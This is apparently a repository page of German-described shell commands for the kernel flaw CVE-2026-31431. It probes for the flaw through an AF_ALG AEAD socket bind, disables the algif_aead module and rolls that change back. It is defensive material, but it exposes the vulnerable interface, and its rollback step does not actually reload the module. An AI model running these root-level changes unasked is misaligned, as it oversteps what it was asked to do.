studiogangster/cve-2026-31431Tests für die CVE-2026-31431-Kernel-Schwachstelle, prüft, ob verwundbar, und bietet eine Lösung durch Deaktivieren des algif_aead-Moduls.
# Test:Check vuln
python3 -c 'import socket;exec("try:s=socket.socket(socket.AF_ALG,socket.SOCK_SEQPACKET,0);s.bind((\"aead\",\"authencesn(hmac(sha256),cbc(aes))\"));print(\"vulnerable\")\nexcept:print(\"not vulnerable\")")'
# check if module
# Check if module is loaded in kernel
lsmod | grep -q '^algif_aead' && echo "loaded" || echo "not loaded"
# Fix: Remove the mod
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true
# Rollback: reload the mod
sudo rm -f /etc/modprobe.d/disable-algif.conf
sudo depmod -a
